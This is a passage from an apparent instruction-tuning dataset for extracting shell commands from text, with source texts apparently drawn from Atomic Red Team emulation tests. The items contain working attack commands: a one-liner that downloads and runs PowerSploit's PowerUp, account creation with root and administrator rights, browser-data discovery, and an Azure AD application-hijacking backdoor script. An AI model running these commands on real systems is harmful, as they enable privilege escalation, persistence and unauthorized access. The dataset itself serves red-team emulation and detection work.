and save the results to a file, use the following command: find / -path \"*/Firefox/Profiles/*/places.sqlite\" -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null; To locate Google Chrome's bookmark file in JSON format on macOS and save the results to a text file, use the following command: find / -path \"*/Google/Chrome/*/Bookmarks\" -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null", "output": "{\"command_list\": [\"find / -path \\\"*/Firefox/Profiles/*/places.sqlite\\\" -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\", \"find / -path \\\"*/Google/Chrome/*/Bookmarks\\\" -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A .cmdline file is produced during dynamic C# compilation, and some processes can compile code without disk activity to unpack payloads. The included T1027.004_DynamicCompile.exe in the 'bin' folder will display 'T1027.004 Dynamic Compile' upon execution, launched via the command: Invoke-Expression \"#{input_file}\"; To compile a C file using either gcc or clang on FreeBSD, Linux, or MacOS, run the following commands: gcc #{input_file} && ./a.out\nclang #{input_file} && ./a.out\n", "output": "{\"command_list\": [\"Invoke-Expression \\\"#{input_file}\\\"\\n\", \"gcc #{input_file} && ./a.out\\nclang #{input_file} && ./a.out\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To create a new user in FreeBSD and add them to the root group, use the following command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0; You can establish a new administrator account by executing these commands:\nnet user /add \"#{username}\" \"#{password}\"\nnet localgroup administrators \"#{username}\" /add\n", "output": "{\"command_list\": [\"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\", \"net user /add \\\"#{username}\\\" \\\"#{password}\\\"\\nnet localgroup administrators \\\"#{username}\\\" /add\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To retrieve macOS hardware information and determine if the host is physical or virtual, use the following command: sysctl -n hw.model; For operating system discovery, you can use the following command: Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null", "output": "{\"command_list\": [\"sysctl -n hw.model\", \"Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To add a certificate to an Application through its Service Principal for authentication purposes, use the following command sequence: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n; This technique allows you to authenticate as an application by adding a certificate to its App Registration, useful for persistence or privilege escalation. The process requires Azure AD admin access without MFA and can be performed with the following command: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n", "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$sp = Get-AzureADServicePrincipal -SearchString \\\"#{service_principal_name}\\\" | Select-Object -First 1\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$app = Get-AzureADApplication -SearchString \\\"#{application_name}\\\" | Select-Object -First 1\\nif ($app -eq $null) { Write-Warning \\\"Application not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For displaying the routing tables maintained by the kernel, use the command: ip route show; To view the kernel's routing tables, specifically the default route, use the following command: netstat -r | grep default", "output": "{\"command_list\": [\"ip route show\\n\", \"netstat -r | grep default\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can display hidden files in MacOS by executing this command: defaults write com.apple.finder AppleShowAllFiles YES; To prevent malware from hiding files by disabling the Show Hidden files option, apply these registry modifications via the following commands: reg add 